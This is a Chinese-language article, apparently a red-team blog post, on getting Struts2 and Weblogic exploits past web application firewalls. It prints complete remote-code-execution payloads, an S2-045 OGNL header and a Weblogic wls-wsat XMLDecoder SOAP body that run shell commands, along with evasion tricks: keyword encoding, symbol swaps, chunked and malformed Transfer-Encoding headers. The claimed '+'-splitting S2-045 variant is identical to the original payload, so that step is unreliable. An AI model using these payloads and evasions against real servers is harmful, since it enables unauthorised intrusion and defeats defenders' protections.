浅谈部分常见中间件漏洞如何绕过WAF
字数 2055 2025-08-25 22:59:09
中间件漏洞绕过WAF技术详解
0x01 简介
随着安全意识的提升,各类防护设备(WAF)在HVV行动中被广泛部署,导致传统中间件漏洞利用成功率大幅下降。本文详细分析Struts2、Weblogic等中间件漏洞如何绕过WAF检测的技术方法。
0x02 通用绕过WAF思路
1. 错误的HTTP请求头
通过构造畸形的HTTP协议头绕过WAF检测,例如:
- 添加
Content-Encoding: deflate请求头可绕过部分老版本WAF - 此方法同样适用于文件上传场景的WAF绕过
2. JAVA类关键字编码绕过
利用JAVA自动解码特性:
- 将关键字转换为Unicode或HEX编码
- 例如
Runtime可编码为\u0052\u0075\u006e\u0074\u0069\u006d\u0065
3. 使用未公开的漏洞利用链
- 公开的漏洞利用链关键字通常被加入WAF黑名单
- 寻找或开发新的利用链可有效绕过检测
0x03 Struts2漏洞绕过WAF
Struts2快速识别方法
-
后缀判断法:
- 常见后缀:
.do、.action - 特殊形式:
userManager!list.action(带"!"的形式)
- 常见后缀:
-
错误消息回显法:
- 访问
http://target/?actionErrors=1111111 - 观察是否出现404/500错误、1111111回显或页面结构变化
- 访问
-
开发模式检测法:
- 检查
/struts/webconsole.html是否存在 - 需要devMode为true
- 检查
Struts2特殊符号特性
%和$在Struts2中作用相同,可相互替换- 当WAF拦截
%时可尝试使用$,反之亦然
S2-016漏洞绕过实例
原始POC被拦截:
http://target/example.action?redirect:${11*11}
绕过方法:
- 双写大括号:
redirect:${{11*11}}
S2-045漏洞绕过实例
原始POC被拦截:
POST /example.action HTTP/1.1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
绕过方法:
- 使用
+拼接关键字:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
0x04 Weblogic漏洞绕过WAF
Weblogic快速识别方法
-
404页面特征:
- 观察错误页面特有的样式和内容
-
X-powered-by头:
- 示例:
Servlet/2.4 JSP/2.5(版本信息)
- 示例:
Weblogic漏洞绕过实例
原始POC被拦截:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 1234
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
绕过方法:
-
使用chunked编码:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target Content-Type: text/xml Transfer-Encoding: chunked [chunked data...] -
破坏Transfer-Encoding头识别:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: target Content-Type: text/xml Transfer-Encoding: chunked X [chunked data...]- 在
Transfer-Encoding: chunked后添加任意字符可绕过部分WAF
- 在
0x05 总结
-
Struts2绕过关键:
- 符号替换(% ↔ $)
- 语法变形(双写大括号)
- 关键字拆分(使用+连接)
-
Weblogic绕过关键:
- 协议层变形(chunked编码)
- 请求头干扰(破坏标准头格式)
-
通用原则:
- 理解WAF检测机制(关键字/语法/协议)
- 利用目标中间件特性(如JAVA自动解码)
- 保持POC功能不变的前提下进行变形
注:Shiro和Fastjson的绕过技术将在后续更新中补充。